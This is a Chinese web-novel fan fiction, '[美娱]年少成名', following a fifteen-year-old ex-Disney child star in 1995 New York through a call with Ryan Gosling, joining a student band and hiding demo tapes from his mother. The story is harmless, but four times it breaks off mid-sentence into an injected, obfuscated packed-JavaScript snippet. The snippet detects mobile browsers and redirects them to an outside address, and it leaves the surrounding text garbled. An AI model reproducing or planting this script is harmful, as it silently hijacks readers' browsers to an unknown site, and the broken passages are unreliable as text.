《[美娱]年少成名》 1. 电话 1995年，纽约。 录音机的声音被开到最大，整个房间都充斥着“maninthemirror”的动感节奏。书架被音乐磁带和唱片占得满满当当，整整几大排的数量看起来极具冲击力。 阿尔文却对此熟视无睹。 他怀里抱着座机电话，努力避开地上散落的乐谱，光脚站在地毯上，眼睛凝视着墙上贴着的海报，神情无比专注。 这是迈克尔杰克逊“真棒”世界巡演的宣传内容，男人穿着标志性的黑色西装，帽檐压低遮住脸庞，手里拿着话筒，即使在海报上也熠熠生辉。 “你说，”阿尔文突然叹了口气，“你说我什么时候才能像MJ一样站在舞台上？” 他摸了摸海报右下方微微卷曲的边角，微卷的黑色短发此刻也蔫哒哒的，和主人一样惆怅。 不用看到人，瑞恩就知道那张英俊漂亮的脸蛋现在是怎样一副苦瓜模样，光是在脑子里想想都觉得好笑。 他也确实扑哧一下笑出声。 “怎么了吗，瑞恩？”母亲投来疑惑的目光，瑞恩赶紧摆摆手，指指话筒，示意自己在打电话。等到母亲离开后，他才继续开始嘲笑自己的好朋友。 “我知道一个方法，很简单。” “嗯哼？” “那就是找个空的舞台，站上去，然后你就站上舞台了。”这个笑话实在冷到可以，和瑞恩一贯的冷面笑匠风格非常匹配。阿尔文甚至能想象到对方现在是如何一本正经忽悠他的。 他瞪大眼，漂亮的灰蓝色眼睛里满是不敢置信：“你不可以把我当傻子！这难道是重点吗？重点应该放在像MJ一样！MJ！” “差不多吧。” “瑞恩·高斯林！” 瑞恩·高斯林，和阿尔文相识于迪O尼童星计划。经历过层层选拔后，两个人都成了米O鼠俱乐部的主演。 从几千个孩子中脱颖而出的主演们全都长相端正优越，但是阿尔文觉得瑞恩长得最符合他的审美。 最重要的是，瑞恩有一头漂亮的金发！ 金灿灿的！阿尔文可拒绝不了这个。当然，同剧组的布兰妮也很好看，可她是个女孩，阿尔文自认为自己是个绅士，没法随便去摸人家的脑袋，所以只能把精力全都放在了瑞恩身上。 因为童年压抑又是单亲家庭，瑞恩·高斯林的性格比较内向，甚至缺乏社交能力，在节目上虽然表现得游刃有余，但很多时候只是为了赚钱逼迫自己。 这导致了阿尔文的交友之路刚开始障碍重重。 但他可不在乎脸皮，仍旧每天嘻嘻哈哈、坚持不懈地找瑞恩搭话，像是一个热情的小太阳，有用不完的精力。 成为朋友简直是再自然不过的一件事。 即使之后节目停办、主演们全都各回各家，两个人的友谊也没有结束，反而更加深厚。 “你变了瑞恩，你变了。”阿尔文摇摇脑袋，失望地叹气：“你以前明明是个内向腼腆的人。” “我确实是。”瑞恩淡定微笑。 “……”阿尔文生气地鼓起了嘴巴，决定和自己的好朋友绝交一分钟。 电话沉默了两秒。 “好吧好吧，我们的阿尔又遇到了什么麻烦？”还是瑞恩先认输，他好脾气地哄着：“顺便说一句，国际长途真的很贵。” “机票已经买不起了，难道我们电话都不打了吗？那我会怀疑你是不是想和我绝交。” 被这么一打岔，阿尔文也生不起气了。 他泄气地躺倒在沙发上，茫然地捂住脸，手指无意识地拉扯着电话线：“我想要成为像MJ那样的艺术家、流行天王，而不是每天在学校里除了读书就是读书，鬼知道我现在脑子里除了数学还剩下什么。” 尤其是当你有一个对成绩非常看重的家长时，痛苦简直成倍增加。 节目结束以后，阿尔文着实低沉了好一段时间。父亲又忙于工作没法照顾他，母亲克莱尔认为这对父子全被好莱坞的纸醉金迷弄晕了头脑，立刻飞到加利福尼亚州，像一头愤怒的母狮，狠狠地训斥了一顿自己的前夫，然后直接把目瞪口呆的阿尔文带回纽约，放在自己身边严加管教。 阿尔文很爱他的妈妈，可是克莱尔希望他能现在就提前打好基础，为申请常青藤做准备。天知道这对他来说有多难…… “你才十五岁记得吗？没必要给自己太大压力。”瑞恩试图开导他，转移话题：“你上次不是说在准备试听带吗？怎么样了？有人回复吗？” “……没有。” 这才是阿尔文情绪低落的根本原因。 他是个行动力极强的人。 来到纽约不过两个月，在确定自己不喜欢平淡的校园生活后，阿尔文立刻就做出了尝试，例如花光自己所有的存款，租用了一间录音室并制作了十几份试听带，分别寄给目前国内最知名的几家唱片公司，比如华纳唱片、大西洋唱片、索尼唱片等，寻找着一个机会。 可是现在却没有一家唱片公司给他回复。 “我不明白到底哪里出了问题。” 从小到大，因为母亲的高要求高标准，他一直都是同龄人中的佼佼者，后来更是从几千个孩子中脱颖而出，获得了珍贵的出演机会，可现在却频频碰壁…… 阿尔文一时间也有些不确定起来：“它们听起来确实不错，对吧？” “你在和我开玩笑吗？阿尔？你居然也会有怀疑自己的一天？”瑞恩这下是真的有点惊讶了。 从两个人刚刚认识起，他就意识到了阿尔文是个非常自信的人，有的时候甚至过于臭屁。随着时间的推移，这种认识没有丝毫消减，反而愈发清晰。天塌下来也不影响他自恋。所以听到阿尔文怀疑自己，瑞恩才意识到对方现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177977|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心理压力有多大。 “听着阿尔，我敢说你是我认识的最有天赋的人。”同样的经历让他们彼此理解，只不过瑞恩的性格更冷静更温和，做事情更加周到。他安慰得真心诚意：“唱片公司拒绝你的唯一理由只可能是你的年龄，对自己有信心一点。” “我认识的那个全世界最厉害的阿尔文在哪里？” “好吧好吧，我知道了。”阿尔文只是短暂地伤心一下。其实不和瑞恩说这些，他自己也能很快调节好，但是被朋友关心的感觉真的很不错。 说到朋友，阿尔文突然想起了什么，他眼睛一亮：“也许我可以加入后街男孩！” “AJ他们那个组合？”瑞恩回忆了一下，然后摇摇头，一票否决：“太迟了。” “如果半年前你同意的话可能还来得及，但是他们已经签了Jive唱片，早就开始筹备新单曲。你现在加入算什么？不太现实。” 确实不太现实。别说公司可能不愿意，后街男孩队员们内心也未必不会有想法。毕竟之前他们邀请时，阿尔文并没怎么犹豫就拒绝了。 一段友谊里最好不要掺入过多的东西。 瑞恩想的比较多，阿尔文的思维模式则比较直线：“因为当时我们已经有了工作。”儿童节目的主演比几个年轻人组成的玩票性质的乐队靠谱太多。 “而且我加入他们能干什么呢？主唱肯定轮不到我，布莱恩的声音已经很完美，而说唱、耍帅扮酷全都各自有人，难道我要去展示我帅气的脸蛋吗？”说到这里，阿尔文还有点得意洋洋，但是紧接着就话锋一转：“那也有尼克了。” 他觉得自己的理由很充分。 “不过如果你愿意和我来个组合的话，我倒是很愿意。”阿尔文兴致勃勃地提议道：“你和我可是从迪O尼选拔中走出来的，不要浪费你的天赋。” 瑞恩摇摇头：“我现在要考虑更实际一点的东西，玩乐队对我来说太奢侈了。” 好吧，确实。 还没等阿尔文沮丧，瑞恩又补了一句：“不过不加入后街不代表不可以让他们帮忙，你可以让他们帮你递试听带啊。” 阿尔文直接从沙发上蹿了起来。“我现在就给他们打电话！” “嘿！我们还没结束呢！”瑞恩难得大声抱怨起来：“你总是这样想一出是一出的！” 自觉理亏的阿尔文摸了摸鼻子，脸上露出了明显的心虚。“好吧，我道歉。”他嘟囔着：“不过这个主意还是你想的呢。” 瑞恩翻了个大大的白眼。 “在给他们打电话前，我希望你还记得你今天下午有演出。记得吗？我觉得你不记得。”他毫不客气地宣布：“虽然我现在在加拿大，但是我敢肯定，我记你的日程比你自己还要熟——” 果不其然，那边传来一阵惨叫声。 “糟糕！我忘记了！” 2. 街头演唱 十字街口的信号灯不停闪烁，当它由红转绿的瞬间，等待已久的人群便像是迁徙的角马一般，呼啸而过。每个人都步履匆匆，奔向各自的目的地。 有几个年轻人却停在原地。 他们站在广场的边缘，身边散落着各种乐器，正手忙脚乱地收拾着。路过的人都忍不住投来好奇的目光。 “你们准备好了吗？” 阿尔文瞥了眼手表，在心底默默叹了口气：“我们到底什么时候开始？” 三点了。 他们一个小时前就该在这里集合，可是却硬生生拖到现在，而最迟五点他就得离开。 “好了好了。”杰克终于调好了自己的吉他，他咽了下口水，嘴唇发白，努力表现得冷静自持，但是放在吉他上的手指却在发颤。 其他人也没好到哪里去，看得阿尔文嘴角抽抽。 但是没办法，为了待会的表演，他只能开口安慰，可是又忍不住吐槽：“拜托，我才是那个未成年吧。你们这群大人能不能靠谱一点？” “这不是因为第一次嘛，”杰克挠挠头，他又左右打量了一下周围，不太好意思地解释：“而且这也太多人了，我们以前的社区演出可没这么多人看。” 这是激昂乐队第一次街头演出。 激昂乐队是一支大学生乐队。队员全都是纽约大学的学生。本来就是同学，又因为共同的兴趣爱好而走在一起，氛围非常友好，欣欣向荣。 然而熬过了社区表演，主唱却在乐队即将走入下一步时，收到了来自华尔街一家投行的offer。 是追求自己的音乐梦想？还是—— 还是什么！这还需要选吗？ 主唱当天晚上直接就卷铺盖跑路，义无反顾地投身金融股票的汪洋。 他是有了更好的前途，可乐队却傻了眼。 没有主唱接下来的街头巡演还怎么进行？难道他们只有解散这一条路可走吗？ 众所周知，全世界的大学生们都是最天真、也最固执的一群家伙。 杰克他们不甘心。于是几个人一合计，决定咬咬牙，重新再找个主唱。可是契合乐队的声音哪有那么好找？兜兜转转，大半个月过去。在某一天一行人排练完，背着乐器，疲惫地路过某个街头时。 幸运之神终于眷顾了他们。 刚开始是一段轻柔的吉他声。 很简单的拨弦，杰克低着头往前走，漫不经心地在心底点评着，他现在满脑子都是乐队该何去何从，脚步没有丝毫停顿。 “梦想如同天使，将痛苦拒之门外。”——注1 清澈的男声如泉水一般缓缓流淌，一开口就让人心尖一颤。 很难形容那一瞬间的感觉，杰克只觉得头皮发麻，整个人像是被定住一般动弹不得。 他猛地扭头，寻向声音的来处。 唱歌的是一个年轻英俊的男孩，看起来年纪不大，正是抽条长高的年龄，瘦削又高挑。一头浓密的黑色短发柔顺光亮，灰蓝色的眼睛浅淡澄澈，此刻正抱着吉他浅吟低唱。 美得像是一幅古希腊油画，而那少年就是画中人。 “我是如此的、深深地爱上了你。”这一句的声音放得很轻，几乎要被广场上嘈杂喧闹的声音盖过。可是当你仔细去听时，又像是在你耳边轻喃，温柔又深沉。 长得太帅了吧！杰克被歌手的颜值晃了一下神，但紧接着就眼放绿光。 “是‘从法兰基到好莱坞乐队’的歌。”键盘手凑到杰克的耳边，兴奋地分享自己的发现：“爱的力量！” FrankieGoesToHollywood是80年代最令人惊艳、最调皮也最成功的舞曲天团。仅仅发行两张专辑就创下了将近六百万张的销售战绩，不停刷新英国音乐界的纪录，是很多新手乐队眼中的偶像目标。 杰克当然听过他们的歌。 但是这不是重点！ “我知道！我知道这是哪首歌！重点是你听见了吗？”这个队伍里的老实人激动不已，他一把拽住键盘手的衣领用力摇晃着，眼睛却还紧紧盯着男孩不愿离开：“他的声音！！” 下一秒，仿佛是在映照他的话，歌声猛地拔高。 “爱的力量—— 仿佛从天而降的圣光—— 洁净我的灵魂。” 前两句的尾音像是抹了油，唰的一下就被高高扬起，在空中抛出一个又一个漂亮的弧线。最后一句又像是羽毛一般轻柔，缓缓降回地面。 比起原唱，这一版的旋律更加简单，但是因为人声清亮通透，轻而易举地就让人沉醉其中。 杰克觉得自己的心脏也随着歌声在空中上下起伏。 救命…… 怎么能有人把高音唱得这么游刃有余？ 伴随着歌曲来到高潮部分，原唱在这里低沉而又深情，可是男孩唱得却完全不同！ 稳定的高音共鸣饱满，一句比一句坚定、一句比一句有力，像是在认真地表达着一个少年人对爱的理解——爱很危险，可是它也是全世界最宝贵的存在。 真诚到让人的心都忍不住融化，融化在这清澈的歌声里。 “我是如此的、深深的爱你。” 杰克和男孩同时唱出了下一句。 “哦——”键盘手用力地叹了口气，搓了搓胖乎乎的脸蛋：“这可真是，真是——”他想不到词来表达自己的心情，急得涨红了脸。 旁边的贝斯手友好地给他解围：“天籁。” “对，就是天籁！”键盘手看着男孩漂亮的脸蛋，觉得自己的心也被融化了：“他可真像个王子，还是迪士尼的那种。” 近处是窸窸窣窣的嬉笑声，远处是刺耳的鸣笛和引擎，这些琐碎的声音都没有压住男孩的声音，反而更衬托出人声的明亮和穿透力。 但这一切都不是结束。 看到越聚越多的人群，男孩突然停下了拨弦的手，吉他声戛然而止。听众们面面相觑，听过这首歌的以为还有下文，没听过的觉得意犹未尽。 一时间，这一小片范围居然奇迹般的寂静无声。 男孩漂亮的灰蓝色眼睛里露出一丝狡黠，嘴角微微扬起。 就在有人犹豫着准备鼓掌时，他闭上眼睛，突然冷不丁地再次放声高歌，让所有人都措手不及：“爱的力量！仿佛从天而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177978|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降的圣光！” 没有伴奏，没有配乐，只有人声。 最后一句的音调甚至直接跳跃一个八度！ 高到仿佛要跃上天空，瞬间刺破广场的喧嚣。地上原本悠闲散步的白鸽也被惊到四散开来，哗啦啦飞起一大片，遮住了这里的天空。 倒是真的映衬了这句歌词，如飞鸽一般翱翔。 这段高音实在太过完美。 杰克只觉得自己的灵魂也要跟着歌声飞起来，像是一只冲破云霄的勇敢鸟儿，眼前一片光亮。他一时间有些恍惚，不知道自己到底是身在天国还是人间。 在场的所有人都目瞪口呆。 目瞪口呆地看着这个男孩像是不要钱一般，得意洋洋地向所有人炫耀他卓越的技巧和奇迹般的天赋。 “这真的是人能唱得出来的声音吗？”键盘手开始恍惚：“而且他这个年纪居然就能用声音表达情感了……” 艺术都有共通之处。无论是美术、音乐、舞蹈……大部分初学者刚开始只能学习技术，追求一个形似，只有底蕴到了一定程度才会开始尝试情感，这是一个循序渐进的过程。 可是眼前这个男孩才多少岁啊！ 他就已经能够传情了！ 等到歌声结束，周围响起海浪一般的掌声。杰克这才突然像是从梦里猛然惊醒。他一个大跨步就冲了上去，涨红着脸，急切地大喊：“你，你愿意加入我们吗？” “嗯哼？”男孩挑了挑眉。 “我的意思是，我们是一个乐队，激昂乐队。你肯定没听过，但是，呃，我们现在缺一个主唱，而你的声音——简直太美了！这是我听过的最好的一版爱的力量！”杰克结结巴巴地说着。 他有些语无伦次，到最后自己都不知道自己在说什么，只能不停重复着自己对歌声的喜爱。 男孩根本没有掩藏自己对吹捧的喜爱。 那张年轻稚嫩的脸蛋上现在满是得意，漂亮的灰蓝色眼睛一眨不眨地盯着杰克，仿佛在催促他赶紧多说一点。 但是杰克没有注意到这点，他懊恼地抓了抓本就一团糟的头发，眼巴巴地看着男孩，半晌只憋出一句：“你愿意了解一下吗？” 男孩有些失望，但很快就重新恢复张扬。他用那种傲慢但又不惹人讨厌的语气，慢吞吞地开口。 “我觉得我值得一个更正式的场合。” “当然！”杰克眼睛一亮，“你当然值得！我们可以去——”他的视线迅速扫过周围，试图找到一个可以聊这个话题的场所。 “咖啡店！”不知道什么时候聚过来的贝斯手在他旁边小声提醒。 “我们去咖啡店怎么样？”杰克反应很快，迅速提议道。 男孩男孩点了点头，冲他伸出手，矜贵地仿佛一个真正的王子。 “阿尔文·亚杜尼斯·迈瑞克。你可以叫我阿尔文。” 这就是他们认识的全过程了。 虽然在熟悉以后，乐队成员们都知道了阿尔文不过是一个暴躁傲慢的十五岁小屁孩，但是初见时的惊艳还是让大家不由自主地捧着这个“王子病”十级患者。 谁让他的才华真的值得呢？ 3. 十美元 阿尔文靠在商场后门隐蔽处的墙上。 粗糙的砖石硌得后背有些生疼，但他的注意力现在不在这里。灰蓝色的眼睛复杂地看着乐颠颠从商场经理手里拿着报酬赶过来的杰克。 队长杰克完全没意识到年轻人的无语，当着成员的面认真地把钱又数了一遍：“……五十、五十五、六十，没错。” 四张十美元、四张五美元，一共六十美元，这就是他们今天演出的全部收获。 总共一个小时的卖力表演最终只换回这么点微薄的酬劳，少得可怜。而且激昂乐队一共五人，吉他、键盘、贝斯、鼓手、加上主唱，还要再进行一次均分，最终到手不过区区十美元。 “这也太少了吧……”阿尔文撇了撇嘴，接过那可怜的几张散钞，指尖摩挲了两下不知道经过多少手，以至于皱皱巴巴的绿色纸币，只觉得心酸不已。 十美元能做什么？ 其他产品不知道，但在1995年，甚至连一张最新发行的CD都买不到。如果是新发行的热门专辑，像是迈克尔·杰克逊、玛丽亚·凯莉的CD，更是能定价到16至17美元！ 十美元的消费水平唯一能自由选择的地方，除了二手商品，恐怕就只有沃尔玛超市的过季清仓大甩卖，毕竟全场只要9.99。 不过说归说，考虑到自己现在的经济水平，阿尔文还是仔细地将钱叠得整整齐齐，妥善放进钱包。 这个动作又引得杰克一阵好笑，忍不住伸手要去揉搓阿尔文的脑袋，被机敏地躲开。 他也不尴尬，收回手继续乐呵呵地说：“这只是个商场开业活动，而且我们也没什么名气对吧，不给钱都正常。要知道我们以前演出还经常要倒贴呢！” 激昂乐队刚组建时，和所有没名气的音乐人一样，辗转在各种酒吧、俱乐部，连那种没什么人去的小型音乐节对他们来说都是难得的机会。至于报酬，每场演出的收入从50到200美元不等，取决于老板是否大方。有的时候甚至会免费演出换取一定的曝光，虽然没什么用就是了。 很难评价前主唱是不是因此才会毫不犹豫地跑路，抛弃他的音乐梦想。 奔向伟大钱程。 “十美元怎么了？够点好几杯酒了。”鼓手是个寸头硬汉，叼着根无滤嘴的骆驼香烟。虽然顾及着身边的未成年没有点燃，但仍旧含在嘴里过过瘾，语气因此格外含糊。“今晚就喝他个十美元的。” “算我一个！” “太棒了！我举双手赞成！” 其他人纷纷响应，几个人背着设备，热热闹闹地就开始计划往酒吧走。 一群无药可救的酒鬼…… 阿尔文无语地翻了个白眼，为同伴过于散漫的态度。但他知道这群人都是不差钱的学生，搞音乐只是兴趣，实际上都有各自的人生规划。 他自己热爱音乐，且立志要做出一番成就，成为世界巨星，但这并不意味着他有资格对别人的生活指手划脚。 未成年肯定不能进酒吧，这群人的下一场计划没有阿尔文，他也不打算掺和。 “行了，你们去吧，我先走了。”他抹了把有些汗湿的头发，站直准备离开：“下次演出记得提前联系。” “好吧，乖宝宝，早点回家。” 几个年轻人嘻嘻哈哈地和他道别。 在走之前，胖乎乎的键盘手突然想起什么，冲着那个高挑纤长的背影喊道：“对了，阿尔文，你之前投的试听带有回复了吗？？” 阿尔文侧过半边身子，因为逆光看不清神情，只能听见懒懒的一句回答，有些漫不经心：“没有。” “什么？没有？你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177979|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开玩笑吗？！”键盘手不敢置信地睁大了眼睛。 “是的，没错，没有，一个都没有。” 阿尔文没有回头，挥了挥手算作告别。 年轻人瘦高的身影消失在拐角，只留下几个大学生面面相觑。 杰克最先反应过来，他抱着头，不敢置信地大声嘟囔：“绝对不可能！凭他的天赋怎么可能收不到面试邀请？” 这可是他们当初在大马路上“一见钟情”的完美天赋，怎么会连一个面试邀请都没收到？！ 鼓手点头：“在这点上我完全同意，也许是那些唱片公司的人全都是聋子，那就完全说得通了。” “也许是因为他投的都是洛杉矶的唱片公司吧，你知道的，那几家都比较保守。而且阿尔文的年纪太小了，他说有些愿意培养他，但也只是培训。”一直在旁边发呆的贝斯摸了摸下巴，突然答道。 阿尔文在这方面并没有隐瞒，大大方方地直接告知。他投了签约过披头士的国会唱片、麦当娜的华纳兄弟唱片、涅槃和枪花所在的格芬唱片、还有宝丽金旗下的A&M唱片。 国会和华纳唱片都给他回信表示看好阿尔文的潜力，但表示目前只能提供培训，希望嗓音稳定几年后再签约。阿尔文便干脆拒绝，其他两家到现在都没有回复。 “都是一群没有品味的家伙，他们肯定会后悔的。”贝斯从回忆中回过神来，就对上了其他人虎视眈眈的眼神。 “你为什么知道？！！” 贝斯吓得缩了缩脖子：“演出的时候我不是无聊吗，在你们炫技的时候，我就跑去和阿尔文聊天。看，我就是这么知道的啊，有什么问题吗？” 其他人面色复杂地看了他一眼，又互相对视一次，然后默契散开。 算了算了，欺负贝斯算什么本事，算了。 4. 差点被发现 回到家时，公寓内空无一人，只有落地窗前大片大片橘红色的晚霞。 室内高档的装修和宽敞的空间无一不体现了主人的财力，这都是母亲克莱尔的功劳。 克莱尔·亚杜尼斯，纽约华尔街投行精英，阿尔文的母亲，他中间名的来源。 在1995年，这个绝大多数高管都是男人的情况下，克莱尔硬是以女性的身份在职场中拼出一条血路，目前正在为晋升VP（副总裁）做努力。 相应的代价就是超高强度的工作，基本不到深夜都不会回家。 虽然来纽约和母亲才相处两个月，但阿尔文早已对基本见不到对方的事情习以为常。 或者说也不是习惯，而是不得不接受。毕竟从小到大，他最擅长的事情就是自己照顾自己，不给别人添麻烦。 他熟练地放好东西，迅速冲完澡，从冰箱里翻出周末备餐时提前准备好的肉酱，简单煮了个意大利面，坐在桌前独自吃完。 空旷的房间除了刀叉餐盘碰撞声以外，寂静得可怕。 刚洗过的头发没有彻底吹干，湿漉漉的带着水汽，松散地搭在额前。阿尔文垂眸看着眼前的食物，看似专注，灰蓝色的眼睛里实则根本没有焦点。和之前与瑞恩聊天表现出的开朗活泼、或者与乐队相处时的随意潇洒不同，独自一人的他显得格外冷淡，甚至有些生人勿近。 或者说，这才是他真正的模样。 —— 收拾好餐碟，回到自己房间时天已经黑透。 阿尔文随手按下开关，白炽灯明亮的光线立刻布满整个房间。 他谨慎地拉上厚重的灯芯绒窗帘，关上门，确保在整个房间都处于密闭状态后，才像是特工一样，从床底下拖出一个不透明磨砂黑色收纳盒。掰开搭扣，里面赫然是几个仔细包裹好的牛皮纸袋。 这里面装着他最新准备好的试听带。只有五份，但已经花光了他全部的零用钱。 纽约的物价实在可怕。专业录音室的租用费一小时就要12美元，真真印证了什么叫做时间就是金钱。再加上昂贵的邮费，对于没有进项的中学生来说，是非常大的一笔开销。 阿尔文眉头紧簇，盘腿坐在房间内的沙发上，把钱包里仅剩的钞票全都一字排开。 他咬着铅笔头，开始盘算起自己手头上的费用。哪怕母亲给的零用钱其实很多，也经不住这样烧钱的支出。钱流进来，又流出去，最后只剩空空如的钱包，所以连乐队赚到的那点可怜酬劳也被珍惜地存好。 最令人烦躁的是，之前的投入并没有回应。 “该死……”他烦躁地抓了抓本就乱糟糟的头发，嘟囔着：“我难道真的要投纽约的唱片公司吗？” 门外突然传来一阵响动，有人在喊他的名字。 “阿尔？” 糟糕！忘记锁门了！阿尔文眼皮一跳，头皮发麻，几乎是立刻从沙发上弹射起步。这些东西要是被看到就完了。 叩叩，门被敲响，伴随着女声在问。“我可以进来吗？” “等一下，我在换衣服！”来不及了来不及了，完全没时间好好整理，他直接抓起地上的demo带便胡乱地硬塞进收纳盒里，迅速盖上盖子推进床底，又随便从衣柜里掏了几件衣服扔到床上。 确保从门口的角度看不到床底，阿尔文才手忙脚乱地打开门，还差点被地毯边缘绊了一跤，扶住墙才勉强站直身体。 但是一开门，他又立刻调整成无事发生的模样，一秒钟扬起热情笑容：“哇哦，好久不见，妈妈，你看起来可真是……呃，光彩照人！对！光彩照人！嗯，不过说起来……今天怎么回来的那么早？” 克莱尔站在门口。 年近四十的女人身材高挑，眉眼锐利，黑发被一丝不苟地盘在脑后。西装外套还挂在臂弯，白色真丝衬衫领口微敞，挺括的西裤勾勒出她修长的轮廓。浑身上下除了金色腕表外没有任何饰品，却美丽又强势。 确实光彩照人。 那双灰蓝色的眼睛和阿尔文如出一辙，只不过阿尔文的眼神还很清澈，克莱尔的眼里更多的是冷静与锐利。 “原本要见的客户有事，推掉了晚餐。”克莱尔对儿子表现得过于紧张的状态挑了挑眉，眼神貌似漫不经心地扫过房间，视线在地上散落的钞票和钱包上停留了几秒，开口问：“最近缺钱吗？” “没有。” 阿尔文条件反射地答道。悄悄地把门又掩了点，整个人都几乎靠在门上，试图挡住后面的东西。 他装作若无其事的模样，尴尬地笑了两声：“完全没有。” 克莱尔给的零用钱绝对够用，如果他说自己缺钱，聪明的母亲就会立刻意识到孩子出现了她控制范围外的活动。 是的，阿尔文并没有告诉克莱尔自己正在给各大唱片公司投试听带的事情，这也是为什么他会身在纽约，却避开了绝大多数纽约的唱片公司的原因。 他不想让克莱尔知道。 至于为什么，这就要从上一辈父母的关系谈起。 众所周知，人一般都会有父母，阿尔文就恰好也有这么一个父亲，叫做理查德。 理查德是个好莱坞经纪人，曾经也风头无限，手上还带出过影帝，不过紧接着就栽了个大跟头，差点回到原点。当然，具体细节就没必要过多赘述。不管怎样，他现在又重新振作，目前正担任好莱坞当红女星茱莉亚·罗伯茨的经纪人。 理查德的性格潇洒，往好处说是随机应变，往坏处说就是不受控制，是母亲克莱尔最讨厌的那类人。但年轻气盛时被脸和身材迷了眼，等清醒过来时，阿尔文已经出生了。 爱情会蒙蔽双眼，但事业不会。 两人关系逐渐紧张后，感情受挫的克莱尔开始专注事业，好莱坞的声色犬马又令她更加不满，矛盾不断激化，最终还是走到了离婚这一步。协商后，阿尔文跟随时间相对自由的理查德生活，克莱尔则独自前往纽约拼搏。 说到这里，是不是听起来只是一对普普通通的离婚夫妻，和美国千千万万个破裂的家庭一样普通？ 但问题是，米O鼠俱乐部解散后，他因为矛盾和同学打架，结果学校联系不上理查德，不听阿尔文的辩解，直接把电话打给了克莱尔。 这时候克莱尔才知道，理查德居然没陪在孩子身边，而是把他寄住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177980|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛罗里达当地的朋友家后，就再也没管过。 阿尔文至今还记得一向冷淡，喜怒不形于色的母亲是怎么在电话里和父亲暴跳如雷的。 “你这个混蛋！你怎么敢把他一个人丢在陌生人那儿？！看在老天的份上，他才十五岁！” “我只是在工作！迪O尼剧场在佛罗里达，我又不能天天跟在旁边，让朋友照顾怎么了？而且见鬼，那可不是什么陌生人，那是我的朋友，我们认识的时间可能比你还久！再说了，别摆出那副高高在上的样子，你也根本不关心孩子，不然怎么会现在才知道？” “工作？你把那些可笑的表演叫工作？你到底知不知道什么是责任？！我看你根本不是经纪人，是被名利冲昏头脑的蠢货！孩子在你眼里恐怕甚至没有你带的明星一根手指重要，真是可笑至极！” “哈！你以为你有资格来教训我？！” …… 总之吵得很激烈。 两个人针锋相对的模样让阿尔文一度怀疑自己的监护权会不会被移交给政府部门，毕竟他们看起来都不是很想要自己的样子。 虽然他能自己照顾自己，但阿尔文还是很爱理查德和克莱尔的。 两个五十分的家长加起来就是一百分的父母，他不想成为别人家的小孩。 最后还是克莱尔察觉到身边阿尔文愈发僵硬的神情和身体，才堪堪止住和前夫的对骂。之后便不顾理查德的反对，强硬地把阿尔文带回到纽约。 克莱尔收回视线，没有继续追问。 这个年纪的男孩肯定会有些自己的秘密，问太多不利于培养母子关系。虽然很厌烦前夫，但对阿尔文她心中始终很愧疚，可工作又太忙，陪伴做不到，那就只能在金钱上尽力弥补。 “好吧，如果你坚持的话。但如果缺钱尽管和我说。” 她不再停留，往自己的房间走去，高跟鞋踩在地面上发出清脆的声响：“我买了甜品放在冰箱。” 阿尔文松了口气。他至今还记得母亲一提到娱乐圈就烦躁的神情，还有不屑和鄙夷，接连而来的就是对好莱坞把父亲脑子弄得虚伪自私的指控。 他不想让妈妈也那样看他，所以才一直回避纽约的唱片公司，选择的都是其他城市。 但万一其他唱片公司答应他签约了呢？ 好问题。 阿尔文目前还没有想好怎么说，初步计划是先斩后奏，把后续的烂摊子交给未来的自己去收拾。能躲一天是一天，眼下何必自寻烦恼？ 他很快又高兴起来，迫不及待地跑去翻冰箱：“什么甜品？” “第五大道的Veniero''s。”知道儿子喜欢甜食，克莱尔如果回家迟，就会带一份作为礼物。 阿尔文已经看见了。精心包装好的芝士蛋糕看起来格外美味，一口下去，蓝眼睛便倏地亮起来。好吃！奶香浓郁却又不腻，口感轻盈没负担。 他一边大口吃吃吃一边问：“这家超难排的，你怎么买到的？” “有助理。” 阿尔文看了眼蛋糕，态度都变得更加虔诚。 亲爱的艾米莉小姐，谢谢你，我会好好吃完的。 5. 水晶球 纽约，史代文森高中。 